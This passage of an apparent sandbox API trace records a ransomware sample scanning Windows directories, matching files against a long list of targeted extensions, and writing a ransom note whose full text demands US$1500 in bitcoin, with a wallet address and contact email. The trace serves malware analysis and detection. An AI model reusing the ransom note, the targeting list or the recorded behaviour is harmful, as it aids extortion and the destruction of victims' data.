(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.tiff") returned 0 [0100.635] lstrlenA (lpString="*.tiff") returned 6 [0100.635] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.backup") returned 0 [0100.635] lstrlenA (lpString="*.backup") returned 8 [0100.635] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.pdf") returned 0 [0100.635] lstrlenA (lpString="*.pdf") returned 5 [0100.635] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.cert") returned 0 [0100.635] lstrlenA (lpString="*.cert") returned 6 [0100.635] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.docm") returned 0 [0100.635] lstrlenA (lpString="*.docm") returned 6 [0100.635] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.xlsm") returned 0 [0100.635] lstrlenA (lpString="*.xlsm") returned 6 [0100.635] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.dwg") returned 0 [0100.635] lstrlenA (lpString="*.dwg") returned 5 [0100.635] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.nd") returned 0 [0100.635] lstrlenA (lpString="*.nd") returned 4 [0100.635] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.tlg") returned 0 [0100.635] lstrlenA (lpString="*.tlg") returned 5 [0100.635] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.lgb") returned 0 [0100.635] lstrlenA (lpString="*.lgb") returned 5 [0100.635] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.mov") returned 0 [0100.635] lstrlenA (lpString="*.mov") returned 5 [0100.635] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.xdw") returned 0 [0100.635] lstrlenA (lpString="*.xdw") returned 5 [0100.635] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.ods") returned 0 [0100.635] lstrlenA (lpString="*.ods") returned 5 [0100.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.wav") returned 0 [0100.636] lstrlenA (lpString="*.wav") returned 5 [0100.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.mp3") returned 0 [0100.636] lstrlenA (lpString="*.mp3") returned 5 [0100.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.aiff") returned 0 [0100.636] lstrlenA (lpString="*.aiff") returned 6 [0100.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.flac") returned 0 [0100.636] lstrlenA (lpString="*.flac") returned 6 [0100.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.m4a") returned 0 [0100.636] lstrlenA (lpString="*.m4a") returned 5 [0100.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.csv") returned 0 [0100.636] lstrlenA (lpString="*.csv") returned 5 [0100.636] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6d85350, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0xb1b14900, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x74540665, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x6f000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="NAPSNAP.DLL", cAlternateFileName="")) returned 0 [0100.636] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.636] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 0 [0100.636] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.636] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61006e, dwReserved1=0x730070, cFileName="napsnap.resources", cAlternateFileName="NAPSNA~1.RES")) returned 1 [0100.636] lstrcmpA (lpString1=".", lpString2="napsnap.resources") returned -1 [0100.636] lstrcmpA (lpString1="..", lpString2="napsnap.resources") returned -1 [0100.636] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.636] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="napsnap.resources" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources") returned="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources" [0100.636] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources") returned 46 [0100.637] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.637] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.637] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.637] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.637] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.637] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0_en_31bf3856ad364e35", cAlternateFileName="610~1.0_E")) returned 1 [0100.637] lstrcmpA (lpString1=".", lpString2="6.1.0.0_en_31bf3856ad364e35") returned -1 [0100.637] lstrcmpA (lpString1="..", lpString2="6.1.0.0_en_31bf3856ad364e35") returned -1 [0100.637] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\*.*") returned="*.*" [0100.638] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\", lpString2="6.1.0.0_en_31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35" [0100.638] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35") returned 74 [0100.638] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.638] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.638] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.638] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.638] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.638] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a2d6a6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a2d6a6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x39000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="napsnap.resources.dll", cAlternateFileName="")) returned 1 [0100.638] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.638] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="napsnap.resources.dll") returned -1 [0100.638] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="napsnap.resources.dll") returned -1 [0100.638] lstrcmpiA (lpString1="", lpString2="napsnap.resources.dll") returned -1 [0100.638] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\*.*") returned="*.*" [0100.638] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\" [0100.638] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\") returned="" [0100.638] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.638] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.639] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.639] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.639] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.641] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.641] CloseHandle (hObject=0x90) returned 1 [0100.641] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\", lpString2="napsnap.resources.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll" [0100.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.ems") returned 0 [0100.641] lstrlenA (lpString="*.ems") returned 5 [0100.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.db") returned 0 [0100.641] lstrlenA (lpString="*.db") returned 4 [0100.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.dbf") returned 0 [0100.641] lstrlenA (lpString="*.dbf") returned 5 [0100.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.myox") returned 0 [0100.642] lstrlenA (lpString="*.myox") returned 6 [0100.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.myo") returned 0 [0100.642] lstrlenA (lpString="*.myo") returned 5 [0100.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.qbw") returned 0 [0100.642] lstrlenA (lpString="*.qbw") returned 5 [0100.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.qbb") returned 0 [0100.642] lstrlenA (lpString="*.qbb") returned 5 [0100.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.qbm") returned 0 [0100.642] lstrlenA (lpString="*.qbm") returned 5 [0100.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.qbo") returned 0 [0100.642] lstrlenA (lpString="*.qbo") returned 5 [0100.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.qbx") returned 0 [0100.642] lstrlenA (lpString="*.qbx") returned 5 [0100.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.qba") returned 0 [0100.642] lstrlenA (lpString="*.qba") returned 5 [0100.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.qby") returned 0 [0100.642] lstrlenA (lpString="*.qby") returned 5 [0100.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.qbj") returned 0 [0100.642] lstrlenA (lpString="*.qbj") returned 5 [0100.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.ofx") returned 0 [0100.642] lstrlenA (lpString="*.ofx") returned 5 [0100.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.qif") returned 0 [0100.643] lstrlenA (lpString="*.qif") returned 5 [0100.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.mye") returned 0 [0100.643] lstrlenA (lpString="*.mye") returned 5 [0100.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.mbox") returned 0 [0100.643] lstrlenA (lpString="*.mbox") returned 6 [0100.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.eml") returned 0 [0100.643] lstrlenA (lpString="*.eml") returned 5 [0100.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.pst") returned 0 [0100.643] lstrlenA (lpString="*.pst") returned 5 [0100.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.ost") returned 0 [0100.643] lstrlenA (lpString="*.ost") returned 5 [0100.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.idx") returned 0 [0100.643] lstrlenA (lpString="*.idx") returned 5 [0100.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.dbx") returned 0 [0100.643] lstrlenA (lpString="*.dbx") returned 5 [0100.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.sql") returned 0 [0100.643] lstrlenA (lpString="*.sql") returned 5 [0100.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.mdb") returned 0 [0100.643] lstrlenA (lpString="*.mdb") returned 5 [0100.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.fdb") returned 0 [0100.644] lstrlenA (lpString="*.fdb") returned 5 [0100.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.wab") returned 0 [0100.644] lstrlenA (lpString="*.wab") returned 5 [0100.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.dat") returned 0 [0100.644] lstrlenA (lpString="*.dat") returned 5 [0100.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.txt") returned 0 [0100.644] lstrlenA (lpString="*.txt") returned 5 [0100.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.jpeg") returned 0 [0100.644] lstrlenA (lpString="*.jpeg") returned 6 [0100.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.jpg") returned 0 [0100.644] lstrlenA (lpString="*.jpg") returned 5 [0100.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.png") returned 0 [0100.644] lstrlenA (lpString="*.png") returned 5 [0100.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.php") returned 0 [0100.644] lstrlenA (lpString="*.php") returned 5 [0100.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.cs") returned 0 [0100.644] lstrlenA (lpString="*.cs") returned 4 [0100.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.cpp") returned 0 [0100.644] lstrlenA (lpString="*.cpp") returned 5 [0100.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.rar") returned 0 [0100.645] lstrlenA (lpString="*.rar") returned 5 [0100.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.zip") returned 0 [0100.645] lstrlenA (lpString="*.zip") returned 5 [0100.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.html") returned 0 [0100.645] lstrlenA (lpString="*.html") returned 6 [0100.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.htm") returned 0 [0100.645] lstrlenA (lpString="*.htm") returned 5 [0100.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.xlsx") returned 0 [0100.645] lstrlenA (lpString="*.xlsx") returned 6 [0100.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.xls") returned 0 [0100.645] lstrlenA (lpString="*.xls") returned 5 [0100.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.mp4") returned 0 [0100.645] lstrlenA (lpString="*.mp4") returned 5 [0100.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.ppt") returned 0 [0100.645] lstrlenA (lpString="*.ppt") returned 5 [0100.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.pptx") returned 0 [0100.645] lstrlenA (lpString="*.pptx") returned 6 [0100.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.doc") returned 0 [0100.645] lstrlenA (lpString="*.doc") returned 5 [0100.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.dot") returned 0 [0100.645] lstrlenA (lpString="*.dot") returned 5 [0100.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.docx") returned 0 [0100.645] lstrlenA (lpString="*.docx") returned 6 [0100.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.7z") returned 0 [0100.646] lstrlenA (lpString="*.7z") returned 4 [0100.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.tar") returned 0 [0100.646] lstrlenA (lpString="*.tar") returned 5 [0100.646] PathMatchSpecA 